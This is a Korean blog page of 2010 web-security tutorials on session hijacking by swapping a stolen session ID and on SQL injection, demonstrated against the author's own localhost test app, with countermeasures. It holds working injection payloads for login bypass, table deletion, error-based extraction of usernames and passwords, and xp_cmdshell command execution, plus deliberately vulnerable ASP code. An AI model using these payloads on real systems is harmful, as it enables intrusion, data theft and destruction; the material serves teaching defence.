'보안'에 해당되는 글 22건

  1. 2010.11.23 4. 데이터 변조 – 세션 변조를 통한 불법 로그인
  2. 2010.11.23 2. SQL INJECTION
  3. 2010.11.23 1. 웹은 보안에 취약하다? 왜???
  4. 2010.11.23 Log Injection
  5. 2010.11.23 Web Hacking 4탄 쿠키취약점
  6. 2010.11.23 XSS 공격 기법 2
  7. 2010.11.23 Web Hacking 3탄 구멍난 자바스크립트
  8. 2010.11.23 Web Hacking 2탄 파일조작
  9. 2010.11.23 Web Hacking 1탄 SQL Injection 1
  10. 2010.11.23 쿠키 보안 03

4. 데이터 변조 – 세션 변조를 통한 불법 로그인

보안 2010. 11. 23. 18:58

앞의 섹션에서 Paros , 아킬레스 와 같은 프록시 툴에 대해 살펴 보았습니다.

이번에는 웹 해킹 중 세션값을 변조 하여 불법 로그인을 시도하는 것에 대해 알아 봅니다.

 

정상적인 로그인 과정을 거치지 않은 , 권한이 없는 사용자의 불법 로그인은 

데이터 변조 중에서도 아주 파급효과가 큰 보안 위험성을 가진다 할 수 있을 것입니다.

 

이 과정을 살펴 보기 전에 세션에 대해 간략히 살펴 봅니다.

 

* 세션이란

HTTP 프로토콜은 상태가 없는 Stateless 의 특성을 가집니다.

(HTTP 프로토콜 특성은 앞의 섹션에서 다루었습니다. 앞 섹션들을 참고해 주세요)

기본적으로 연결을 유지 않는 HTTP 프로토콜은 유지 시킬 수 있는 방법이 없습니다.

따라서 서버의 입장에서 보면 방금 요청한 클라이언트가 이전에 요청 했던 놈인지

알 방법이 없다는 말이 됩니다.

 

HTTP 프로토콜 특성 상 클라이언트를 식별하는 별다른 방법이 있을 수 없겠지요.

그래서 이전에는 쇼핑몰과 같은 웹사이트에서 장바구니과 같은 특정 클라이언트 종속적인

데이터들은 쿠키에 저장하곤 했습니다.(현재에는 DB 기반으로 많이 바뀌었죠?)

또한 회원 기반의 웹 사이트들은 사용자로 하여금 회원가입을 받고 로그인 이라는 과정을

통해 특정 클라이언트를 식별 하기도 합니다.

 

이 로그인 이라는 과정에서 세션이라는 특수한 쿠기(?)를 사용하게 됩니다.

쿠키란 사용자(클라이언트)의 컴퓨터에 저장되어 웹 서버로 요청 시 마다 HTTP 헤더에

포함되어 전송되는 데이터를 말합니다.

 
아래의 그림은 보통 웹사이트에서 로그인을 처리하는 과정을 시스템 측면을 보여 줍니다 

  
  
  클라이언트는 id pw 를 입력하여 서버로 로그인을 요청합니다.

서버는 유효한 사용자인 경우 서버 자신의 메모리에 유일한 세션 ID 를 저장합니다.

또한 클라이언트에게도 동일한 세션 ID 을 쿠키로 저장합니다.

클라이언트의 다음 요청 시 이 세션ID 가 서버로 전송되며 서버는 저장되어 있던

세션 ID 와 비교하여 해당 클라이언트를 식별합니다.

이렇게 하여 특정 클라이언트의 상태를 알 수 있는 구조 입니다.

결론적으로 세션 역시 쿠키로 저장된다는 것이 중요한 것입니다.

이때 부여되는 세션 ID 는 아래와 같은 형태입니다.

Cookie: ASPSESSIONIDACQCCDRQ=BGALHGKACCDPEHLLCIDEBCFF

또 한번 말씀 드리지만, 세션은 서버와 클라이언트에 동시에 저장되는 쿠키이며

이 쿠키는 변조 될 수 있으며 이는 결국 세션의 변조를 통해 유효한 사용자가

아니라 해도 로그인을 할 수 있게 된다는 결론에 도달합니다.

(물론 간단한 세션 변수만으로 로그인을 처리하는 웹 사이트의 경우에 한합니다

그러나 이 방법은 아직까지 아주 많이 사용되어 지고 있습니다)


아래 그림은 불법 로그인을 시도하는 것을 나타 냅니다. 
  

  

불법 로그인 시도 방법.

1. 유효한 사용자는 정상적인 로그인 과정을 거쳐 서버로부터 세션 ID 를 얻게 된다

2. 악의의 사용자는 이 정보를 가로 챈다

   쿠키값을 가로채는 방법에 대표적으로 XSS 와 같은 공격 유형이 있습니다.

3. 악의의 사용자는 이렇게 가로챈 세션 ID 를 자신의 세션 ID 와 교체하여

   불법으로 로그인을 하게 된다.

   (이 때 세션값을 교체하기 위해 웹 프록시 툴을 사용하게 됩니다)

지금부터 간단한 데모 화면을 통해 위 과정을 살펴 봅니다.


데모를 위해 간단하게 로그인 프로그램을 아래와 같이 작성 합니다.

1. LoginForm.asp

<script language="javascript">

  function logout(){

    location.href = "LogOut.asp";

  }

</script>

<% if Session("MemberID") = "" then %>

<form method="post" action="LoginOK.asp">

  ID : <input type="text" name="id"><br>

  PW : <input type="text" name="pwd"><br>

  <input type="submit" value="로그인">  

</form>

<%

  else

%>

<%=Session("MemberID") %> 님 반갑습니다

 

<form method="post" action="LogOut.asp"> 

  <input type="submit" value="로그아웃"> 

</form>

<% end if %>

2. LogOK.asp

<%

  id = Request("id")

  pwd = Request("pwd")

  Session("MemberID") = id

 

  Response.Redirect "LoginForm.asp"

%>


 
 

1. TEST 라는 사용자는 정상적인 방법으로 로그인을 시도 한다.


   

 

1-1. 아직까지 XSS 와 같은 세션 가로채기는 알아 보지 않았으므로 테스트를 위하여

 웹 프록시 툴을 사용하여 TEST 사용자의 세션 ID 값을 알아 냅니다. 
  
 


(이 세션ID 를 따로 저장 해 두세요)
 
 

3. 이제 새 브라우저를 띄워서 LoginForm.asp 를 호출 합니다.

   새 브라우저 에서 새로 호출된 LoginForm.asp 화면엔 이전과 같이 로그인 폼이

   나타 날 것입니다.

   그러나 우리는 이 새 브라우저가 이미 로그인 한 TEST 라는 사용자로 인식하게

   할 것입니다. 다시 말해 로그인 폼이 뜨지 않도록, 이미 TEST 로 로그인 되도록

   하는 것입니다(바로 불법 로그인이 되겠지요)

   세션 ID 를 교체하기 위해 웹 프록시 툴을 사용하여 요청 중에 세션 ID 값을

   이전에 저장해둔 값(TEST 의 세션 ID)으로 교체 합니다.

 


   

   

  


 

4. 짜짠~~ . 새로운 사용자(브라우저)는 로그인 과정을 거치지도 않았는데

   TEST 로 로그인 했다고 나옵니다. 
  


   

정상적인 경우라면 새 브라우저(새 사용자는) 로그인 폼이 나타나야 되는데

 중간에 세션 쿠키값을 변경함으로써 서버는 이 새로운 사용자를 TEST 로 인식하게

 되는 것입니다.

즉 서버 입장에서는 서버 메모리에 저장되어 있는 세션 ID 값과 클라이언트가 보내 준

세션 ID 값을 비교 하여 사용자를 판단 하기 때문에 이와 같은 결과가 나타나는 것입니다.

다만, 이 세션 값 새 사용자는 TEST 라는 사용자에게 부여된 세션 ID 가 서버에

남아 있을 때 만 유효 합니다.

즉 세션 시간 만료나 사용자가 로그아웃을 해 버린 상태에서는 이 공격은 통하지

않는 다는 말이 됩니다.

그래서 일반적으로 이 공격은 아래와 같이 이루어 집니다.

= 세션 가로채기 및 변조 공격 방법 =

1. 악의의 사용자는 XSS 와 같은 악성 스크립트를 유효한 사용자로 하여금 의도적으로 실행하게 하여 즉시 자신에게로 알리는 미들웨어 같은 놈을 하나 만들어 둡니다.

2. 알림을 받은 악의의 사용자는 제 빨리 해당 사이트로 이동하여 세션 변조를 통해

   로그인을 시도 합니다. (마이페이지 같은 곳이나 로그인 과정 시도)

   (사용자가 로그아웃 하기 전 또는 세션 시간이 만료 되기 전에 제 빨리..)

3. 불법 로그인이 성공하면 이제부터는 정상 사용자의 계정으로 못된 짓을 하겠지요..

그럼.. 대책이 있나요?????

당연히 대책이 있겠지요.. 웹 보안 시리즈를 게재하는 목적이기도 하구요..

아래와 같은 사항들을 점검 하세요..

1. 웹 방화벽 사용  (회사에서 사 주면 -.-)

2. 일부 네트워크 보안 장비에서도 쿠키 값 변조를 감지하는 장비가 있습니다.

   (이것 역시 회사에서 사 주면 -.-;)

3. PKI 솔루션 도입 (또한 회사에서 사주면 -.-)

4. 자체적으로 쿠키 값 변조를 탐지하는 필터 개발

   보편적으로 많이 사용되는 해시 알고리즘을 이용해 구현하시면 됩니다.

   (시간과 능력이 허락하면..)

5. 단순한 세션 변수로만 인증 체크 하지 말 것

   세션이 부여 될 때 사용자의 IP 를 묶어서 저장하고 매 요청시 마다 대조 하도록 합니다.

   (조금 우울한 시나리오 이긴 합니다. 또한 공공 장소에서 사용하는 여러 컴퓨터는 같은 IP 를 공유하는 경우도 있으니 홀(구멍)이 있습니다)

6. 기타 참신한 아이디어 ^^;

 

 
 
*** 경고 경고 경고 경고 경고 경고 경고 ***
위와 같은 웹 해킹 시도는 자신과 관계 없는 사이트에는 하지 않는 것이 좋습니다.
일반적으로 유용한 정보나 서비스를 제공하는 웹 사이트들은 위와 같은 공격에 이미 대응하고 있으며
또한 공격이 통하지 않도록 하는 것은 물론 공격에 대한 로그도 남깁니다.
따라서 언제든 추적 및 책임을 물을 수 있으니 아예 시도 하지 않는 것이 좋습니다.
단지 테스트가 목적이라면 자신이 직접 만든 테스트용 사이트나 아는 분의 사이트에 미리 공지를 하고 해 보시기 바랍니다.



'보안' 카테고리의 다른 글

6. 데이터 변조 – 쿠키 변조  (0) 2010.11.23
5 데이터 변조 – 히든 필드 변조  (0) 2010.11.23
2. SQL INJECTION  (0) 2010.11.23
1. 웹은 보안에 취약하다? 왜???  (0) 2010.11.23
Log Injection  (0) 2010.11.23
:

2. SQL INJECTION

보안 2010. 11. 23. 18:57

꽤 오랜 기간 이어져온 이슈였지만 여전히 그 피해사례의 심각성 및 중요성에 비해
간과되어왔던 부분 중 대표적인 것이 SQL Injection 일 것이다.
많은 응용프로그램에서 개발자의 보안마인드 부족과 결과위주의 접근, 지식의 부재 등
여러 이유로 인해 SQL Injection 공격에 취약성이 발견된다.
실제로 현존하는 여러 웹사이트에서 단순한 공격이 성공하고 있다.
특히 SQL Injection 공격은 특별히 보안(해킹)관련 지식이 풍부하지 않아도 간단히
수행할 수 있는 공격방법이라서 그 위험성은 아주 크다고 볼 수 있다.

지금부터 SQL Injection 의 여러 공격방법들을 살펴보고 그 심각성을 직접 느껴 본 뒤
적절한 대응책에 대해 알아 본다.

=================================  테스트를 위한 환경설정 시작============================================

1. 회원가입을 처리하는 ASP 페이지를 아래와 같이 만들고 웹 서버에 등록시킨다

- LoginForm.asp -
<html>

  <head>

    <title>SQLInjection Demo</title>   

    <script language="javascript">

      function CheckForm(){

        form = document.LoginForm;

        if(form.MemberID.value.length < 1 ){

          alert("아이디 입력하쇼");

          form.MemberID.focus();

          return false;

        }

        if(form.Password.value.length < 1 ){

          alert("비밀번호 입력하쇼");

          form.Password.focus();

          return false;

        }

        return true;

      }

    </script>

  </head>

  <body>   

    <form name="LoginForm" method="post" action="LoginOK.asp" onSubmit="return CheckForm();">     

      <table border=1 width=500>

        <tr>

          <td width=100>아이디</td>

          <td>

            <input type="text" name="MemberID" size="15">

          </td>

        </tr>

        <tr>

          <td>비밀번호</td>

          <td>

            <input type="text" name="Password" size="40">

          </td>

        </tr>

        <tr align=center>

          <td colspan="2">

            <input type="submit" value=" 로그인 ">        

          </td>

        </tr>

      </table>     

    </form>   

  </body>

</html>

- LoginOK.asp -
<script language="javascript">

  function Error(){

    alert("계정이 다르거나 비밀번호가 다릅니다\n확인후 다시 시도해 주세용~");

    history.back(-1);

  }

</script>

<%

  MemberID = Request("MemberID")

  Password = Request("Password")

 

  strConnect="Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=SQLInjection;Data Source=(local);Password=1111;"

  set conn = server.createobject("adodb.connection")

  conn.open strConnect

  SQL = "Select * From Tbl_Members Where MemberID = '"& MemberID &"' And Password = '" & Password & "'"

  'SQL = "Select Age From Tbl_Members Where MemberID = '" & MemberID & "'"

  Response.Write SQL

  'Response.ENd

    

  Set Rs = conn.Execute(SQL)

 

  IF Not Rs.EOF Then            '로그인이 성공하면 마이페이지로 보낸다   

    Session("MemberID") = Rs(0)

    Response.Redirect "MyPage.asp"

  ELSE                          '로그인이 실패하면 이전페이지로 다시 보낸다

    Response.Write("<script language='javascript'>Error();</script>")

  END IF

 

  Rs.close

  Set Rs = Nothing

  conn.close

  set conn = nothing

%>


 
2. 데이터베이스와 테이블을 생성한다
  - SQLInjection
이라는 이름의 데이터베이스 생성
  - Tbl_Members
라는 테이블 생성 (아래와 같은 간단한 스키마로 생성)
             컬럼                    타입                   

             MemberID             varchar   20         

             Password             varchar   20          

             Name                   varchar   50        
             Age                      int          4           
 
3. 데이터 삽입 (아래와 같이 임의로 값을 Tbl_Members 테이블에 입력해 둔다)

             admin     haha      관리자                 30

             test        kaka       테스트맨              31
             babo      huk        바보                     32
===========================================================================================================
 
이렇게 하여 테스트를 위한 데이터 설정이 끝낸뒤 아래와 같이 유형별 공격 패턴을 하나하나 살펴 보자
 
☞ 공격1> 전형적인 공격방법
1. 관리자 계정을 알아낸다
  (
물론 꼭 관리자 계정이 아니라도 되지만.. 여하튼 기 등록된 계정을 알아낸다
   친구
의 계정만 알고 비밀번호를 모를 경우 친구 계정으로 해봐도 되겠정 ^^;)

 -
회원가입시 제공되는 회원ID 중복 체크에서 관리계정으로 추정되는

   (
: admin, master, administrator, 사이트도메인명 등) ID 를 알아 낸다

2.
전형적인 홑따옴표와 sql주석문 삽입으로 관리계정으로 로그인 시도한다
  
응용프로그램의 동적쿼리 예시 :
  
셋팅한 asp파일(LoginOK.asp) 로그인시 아이디와 패스워드를 검증하는

  
쿼리가 아래와 같았다.
   (
아직까지 많은 응용프로그램에서 아래와 같은 쿼리가 사용되어 지고 있다
)
  
SQL = "Select * From Tbl_Members
          Where MemberID = '"&MemberID &"' And Password = '" & Password & "'"


 사례1> 아이디 입력란에 ‘(홑따옴표) 와 주석 삽입으로 불벌 로그인 시도  


   

 

삽입값 :  admin’--
   실행되는 쿼리 : Select * From Tbl_Members Where MemberID = 'admin'--' And Password = '아무거나'
  결과 : 비밀번호를 검증하는 부분을 sql 주석으로 만들어 버렸다.
          admin
이라는 id가 존재하기 때문에 위 쿼리는 정상실행되고 불법사용자는
admin으로 로그인 하게 된다

 

 

사례2>비밀번호 입력란에‘(홑따옴표) or 조건 및 주석문 삽입으로 역시 불법 로그인 시도


    

 

삽입값 : ' or 1=1;--    
  실행되는 쿼리
:
Select * From Tbl_Members Where MemberID = 'admin' And  Password = '' or 1=1;--'
  결과 : 비밀번호를 검증하는 부분에 1=1 이라는 항상 참인 조건을 or 조건으로 삽입했다.
         
역시 admin으로 로그인이 성공하게 된다

 

 

사례3>> 아이디 컬럼명을 알고 있을 경우 불법 로그인 성공(충분히 알 방법이 있습니다)


  

 

삽입값 : 1’ or MemberID=’admin
  
실행되는 쿼리 : Select * From Tbl_Members Where MemberID = 'admin' And Password = '1' or MemberID='admin'
  
결과 : 역시나 or 조건이 참이므로 admin으로 로그인이 성공하게 된다

 

 

사례4> 회원테이블 명을 알고 있을 경우 회원테이블 삭제를 시도한다(아주 치명적입니다)


   

  

삽입값 : ' or 1=1;Delete From Tbl_Members--
   실행되는 쿼리 : Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;
                           Delete From Test-- '
  결과 : 회원테이블의 삭제를 시도 합니다. 보통 로그인을 처리하는 데이터베이스 계정은
           
회원테이블의 삭제 권한이 있지요.. 따라서 아주 자~알 삭제됩니다

 

위 방법은 아주 SQL Injection 의 아주 보편적이고 전형적인 방법들입니다.
   이외에도 무수히 많은 형태의 조합이 나오겠지요..(조금만 생각해보면 아주 많죠)
   정말 큰일이 아닐 수 없네요
..
   다음으론 의도적인 SQL 오류를 발생시켜서 데이터베이스의 유용한 정보들을

   깨내는 데모를 보여드리겠습니다

 

 

☞ 공격2> 의도적인 에러유발 후 데이터베이스 정보 유출 시도

사례1> 컬럼명 알아내기
   로그인 폼을 소스보기 하면 MemberID 텍스트 박스의 name 정보를 알수 있습니다.
   이것을 활용해 회원테이블의 패스워드 컬럼명을 알아내 봅시다

   아래와 같은 url IE에서 바로 접근한다

   http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
   IE
는 친절하게도 아래와 같은 아주 친절한(?) 오류메세지를 보여줍니다

Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'
아무거나' And Password = '' 문자열 앞에 닫히지 않은 인용 부호가 있습니다
.
/SQLInjection/LoginOK.asp,
20

 

결과 : 위 오류메세지로 인해 비밀번호 컬럼명이 Password 란 것을 알 수 있습니다.

 

사례2> 테이블 명 알아내기
   알아낸 패스워드 컬럼을 그룹핑 합니다.
  
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나' group by (Password) --
   역시 ie는 친절하게도 아래와 같은 오류 메시지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.MemberID'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20

 
   결과 : 여기서 우리는 회원테이블명이 Tbl_Members 라는 것을 알수 있습니다
            (
덤으로 컬럼명도 하나더 얻었네요 ^^)

 


   추가적으로 다른 컬럼들도 알아내 봅시다.
   이미 알아낸 MemberID,Password 컬럼을 group by함으로써 또 다른 컬럼명을
   얻을 수 있습니다. ( group by (Password),(MemberID) )
   이 방법으로 모든 컬럼을 알 수 있습니다.(암울 하지요 -.-)
   http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나' group by (Password) , (MemberID) --


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.Name'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20

 
  또 다른 컬럼명(Name)를 알수 있지요..
  이런식으로 계속 해 나가면 Tbl_Member 테이블에 모든 컬럼을 알 수 있게 됩니다

 
 
  사례3> 특정 테이블 컬럼의 데이터타입 알아내기
  위에서 알아낸 테이블 컬럼명을 사용해서 타입이 다르도록 유도하여 UNION을 시킵니다.
  (
공격자는 시간이 아주 많고 끈기도 강합니다. 무수한 조합이라도 무수히 시도합니다)
  마침 아래에 Age 필드를 맨 앞으로 놓으니깐 아래과 같은 오류가 납니다.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --

  이랬더니 아래와 같은 오류가 나옵니다
   

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

 
결과
즉 회원테이블의 MemberID컬럼의 타입이 varchar이란 것을 알게 되었습니다.
(
아무것도 아니죠?? 이미~~ 예상했던 타입입니다.. 만 공격자들은 이런곳에서도

희열을 느낍니다. .. 사실 저도 테스트 중에 많은 희열을 느낍니다 ^^;)

 

내부적으로 실행된 코드는 아래와 같겠죠..

Select * From Tbl_Members Where MemberID = 'admin'

UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --' And Password = ''
 
여기까지만 해도 회원테이블의 테이블명, 컬럼명, 컬럼의 데이터 타입의 정보를
모두 캐낼 수 있습니다.

 
 
☞ 공격2> 회원아이디 및 비밀번호 알아내기
   (
아주 흥미로운 결과를 알 수 있습니다)


위에서 회원가입폼에서 아이디중복확인 이라는 곳에서 존재하는 아이디를
알 수 있다고 했습니다
그러나 이 방법은 좀 무식하지요.. (회원아이디를 모르는 상태에서 무작위로 검사를 하니깐)
우리는 이미 회원테이블의 많은 것(?)을 알고 있는 상태입니다.
굳이 아이디중복확인 이라는 방법을 사용할 필요가 없습니다

가정을 하나 해보겠습니다.
만일 서버에 아래와 같은 동적 쿼리가 있다고 칩시다.
SQL = “Select Age From Tbl_Members Where MemberID = ‘” & MemberID & "'"
회원아이디를 입력 받아서 나이를 돌려받는 쿼리 입니다.
물론 위와 같은 동적쿼리가 서버에 있다는 보장은 없습니다.
그러나 굳이 찾으려고만 든다면 찾을 수 있습니다.
중요한 것은 위 쿼리처럼 varchar(nvarchar) 이 아닌 컬럼(위에서는 Age)을 돌려주는
쿼리
를 찾으면 됩니다(예상 가능한 항목이 많지요..^^)

여하튼 위와 같은 쿼리가 있구요

보통 회원아이디와 비밀번호는 스트링형태로 저장됩니다.
따라서 varchar 이나 nvarchar 일 가능성이 큽니다

 
사례1> 회원테이블에서 모든 회원 아이디 얻기
 Age
컬럼과 MembeID 컬럼을 UNION 함으로써 회원테이블의 첫번째 회원의
 
아이디를 알아 봅시다.
 
위에서 이미 알아본 방식입니다만, 다시 언급합니다

 
공격방법>
아래와 같이 웹브라우저에서 바로 접근
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1  MemberID FROM Tbl_Members --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members --'

 - 오류메세지 -


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


 
결과 :
~~
여기서 우리는 회원테이블에 첫번째로 저장된 회원id admin 임을 알아 냈습니다

 
좀더 해볼까요… (모든 회원아이디를 다 알아봅시다)
admiin
을 알아냈으니 두번째로 저장된 id를 알아 봅시다
아래와 같이 실행 합니다(admin 아이디를 제외한 아이디란 말이죠)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID
NOT IN ('admin') --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin') --'

 

- 오류메세지 -


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'test'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 두번째 아이디는 test 이군요..

 

재밌지요?? 한번만 더 해봅시다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin','test') --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin',’test’) --'

- 오류메세지 -


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'babo'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


결과 : 세번째 아이디는 babo 군요.. 캬캬..

이런식으로 계속 시도하면 회원테이블의 아이디를 모두 알 수 있겠죠..

.. 그럼 아이디는 이제 그만 하구요.. 핵심.. 비밀번호를 알아봅니다

 
사례2> 특정 회원의 비밀번호 알아내기
 
이제 아이디를 많이 알아냈으니 그 아이디들의 비밀번호를 알아볼 차례입니다.

 
아래와 같이 실행합니다
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1
Password FROM Tbl_Members Where MemberID = 'admin' --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'admin' --'

 

- 오류메세지 -


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'haha'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


결과 :
드뎌 나왔습니다. 너무나도 친절하게도

admin
의 비밀번호는 haha 라고 ie는 말해 줍니다.. 신이시여..

이 희열.. 이 감동.. 난 해커야.. 캬캬
 
그럼 babo 이놈의 비밀번호는 뭘까? 궁금해 집니다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'babo' --

- 오류메세지 -


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'huk'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

 

결과 : 캬캬.. huk 라는 비밀번호를 쓰는군요 (역시 babo 스럽습니다..)

이렇게 하여 우리는 회원테이블에 모든 아이디와 비밀번호를 알 수가 있었습니다.

 

중간 점검 :
사용자 입력값의 검증 못지않게 웹서버의 에러페이지에 관한 핸들링도 상당히

중요합니다, 기본적으로 에러페이지는 커스텀에러페이지를 따로 만들어 사용합시다


공격4> 시스템 명령어 실행
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin'; EXEC master.dbo.xp_cmdshell' cmd.exe dir c:'--

MSSQL
내장프로시저 xp_cmdshell 을 이용하여 웹서버의 C디렉터리 정보를
캐내려 합니다.(시스템 명령 실행 가능)
이와 같은 내장 프로시저는 아주 많지요..
ex: xp_grantlogin(
로그인 권한 승인) , xp_regdeletekey (레지스트리 키 삭제) 등등..


이로써 아주 쉽고도 강력한 공격방법들을 알아 보았습니다
생각하면 할수록 새로운 방법들이 새록새록 나올 것입니다.
SQL Injection
은 쉬운 공격에 반해 그 피해는 아주 크다고 볼 수 있습니다.
그럼.. 본 글을 핵심!!
SQL Injection 의 완벽 대응책을 알려 드립니다

 

 

SQL INJECTION 의 대응책

* 인젝션 공격의 취약성
원인 : 사용자의 입력값을 검증하지 않음

위험요소 : 동적쿼리, 사용자 입력값을 파라메타로 넘겨받는 저장 프로시저
공격유형
  1.
불법 로그인 시도
  2.
고의적 에러발생 : 데이터베이스 조회(db,table,column, 타입등) 후 공격
  3.
시스템 명령어 삽입
  4.
계정/비밀번호 확인
  5.
위험쿼리 실행(DROP,DELETE,UPDATE )
  6.
기타 등등


*
공격 대응책
1. 사용자의 입력값을 받아서 동적쿼리나 저장프로시저를 실행하는 곳이 있다면
  
반드시 그 입력값을 검증하라.
  
위험요소가 있는 입력값은 아래와 같습니다.
    ‘ (
홑따옴표) , -- (sql주석) , ;(sql명령구분자) , “(쌍따옴표), =
  
이런 값들은 원천적으로 봉쇄해버리는 것이 좋습니다
  
2.
서비스 SQL 계정의 권한을 최소한으로 하라.
   SQL
계정의 권한이 막강하다면 시스템명령어 수행, DROP, Delete 등 수행가능
  
또한 Select 권한과 update/delete/insert 권한을 따로 둔다.

3.
웹페이지의 오류정보는 숨겨라.
  
의도적인 sql구문 오류를 유발하여 에러메시지를 보고자 하는 공격에 대비하여
  
커스텀 오류페이지를 따로 만들어서 최소한의 정보만 보여주는 것이 좋습니다.
   (ASP.NET
에서는 관리자만 볼수 있는 오류페이지와 일반 사용자가 볼수 있는
   
오류 페이지를 따로 구분할수 있는 XML기반의 설정파일이 제공됩니다.
   
이 역시 이런류의 문제점을 방지하고자 MS에서 제공하는 것이겠지요??)
   ASP
PHP JSP 는 커스텀 오류페이지를 나타나게 할 수 있습니다.
   (
다 알지요?)

 4.
.. 뭐가 있을까요
  
.. 만에 하나를 대비하는 DB백업.
  
.. 다들 고민 해 봅시다.

* SQL Injection
공격하는 놈 찾아내기
 
위의 공격방법 중 의도적인 오류를 발생하는 부분이 있었습니다.
 
이 경우 웹서버는 이런 오류를 500 (서버오류) 로 나타냅니다.
 
500 오류에 대한 로그를 확인해서 특별히 오류가 나타날 소지가 없는
 
페이지에서 계속적으로 500 오류가 난다면 우선 의심해 봐야 합니다.

 
또한 동일한 페이지를 계속적으로 로딩하는 놈이 있다면 역시 의심대상입니다.
 SQL Injection
은 여러 번 시도해봐야 유용한 정보를 캐낼 수 있습니다
 
따라서 동일한 페이지를 계속 호출하는 클라이언트가 있다면 응징의 대상일
 
가능성이 높습니다.

 
웹서버를 운영하는 회사에서는 될 수 있으면 많은 로그를 남기는게 보안상 좋습니다.
 
또한 로그파일의 주기적인 점검 또한 수반되어야 겠지요..
 
당신이 프로그래머라면 로그파일을 자동으로 분석해 SQL Injection 공격을
 
찾아내는 좋은 프로그램을 개발 할 수도 있을 것입니다

이것으로 SQL Injection 공격유형과 대응책 등을 알아 보았습니다
아직까지 이런 공격을 재미 삼아 시도하는 초딩 같은 개발자가 많습니다.
(
이상하게 개발자는 다른 개발자의 흠을 찾으려 하는 의지가 강한듯 -.-;)
이런 초딩 같은 공격에 피해를 입지 않아야 겠지요..
절대.. 미루지 맙시다...

[출처] 2. SQL INJECTION|작성자 캔시온


:

1. 웹은 보안에 취약하다? 왜???

보안 2010. 11. 23. 18:57

우리는 흔히 이런 말을 자주 듣곤 또는 하곤 합니다.

 

웹은 보안에 취약해!!!

 

너무나도 일반화 되어 있는 이 말은 역으로 생각해보면 웹이 보안에 취약한 구조를

지녔기에 이런 말이 일반화 되었다고 봐도 될 터입니다.

 

그럼 도대체 왜 웹은 보안에 취약할까요?

 

막연히 공개된 포트(80)을 사용하기 때문인가요?

그렇다면 웹이 아닌 다른 통신 응용프로그램이 사용하는 포트(80 이 아닌)

왜 웹하고 다르나요?

어차피 서비스를 하려면 이 포트도 열려야 하는데..?

그리고 공개된 포트(80)를 통해 어떤 공격을 하나요?

 

도대체 어떤 형식의 공격이 유독 웹 응용프로그램의 보안성을 취약하게 하나요?
 

이제부터 이 모든 것을 시원히 답하기 위해 하나하나 짚어 볼 것입니다

우리 개발자들은 웹 응용프로그램을 아주 이쁘게(?) 만드는 기술도 있어야 하겠지만,

보안에 대한 이슈도 정확히 알고 있어야 합니다.
더 이상 간과해서는 안 되는 웹보안!! 지금부터 정복합니다
 
==========================================================================================
 

우선 웹의 흐름을 살펴 봅니다.

 

 

 

다들 잘 아시는 것처럼 클라이언트와 웹 서버는 잘 알려진 프로토콜인 HTTP

공개된 포트인 80 또는 443(SSL 통신 포트)을 이용해서 통신을 합니다.

위 그림처럼 웹 서버의 앞 단에 방화벽이 있습니다.

이 방화벽에서는 원활한 웹 서비스를 위해 HTTP 프로토콜과 80 포트는 막지

않는 것이 일반적입니다.

바로 이것이 첫 번째 이유가 됩니다. 하나 짚고 넘어 갑시다

웹이 보안에 취약한 이유 1> 방화벽에서 조차 막지 못하는 HTTP 80 포트로 통한

악의적인 공격은 그대로 웹 서버에게 전달 된다.

, 허용 또는 오픈 된 포트로의 공격 시도가 문제 입니다

우선 하나 해결 했습니다 ^.^;

그렇다면 과연 80포트로 무엇이 들어오기에 보안에 취약할까요..

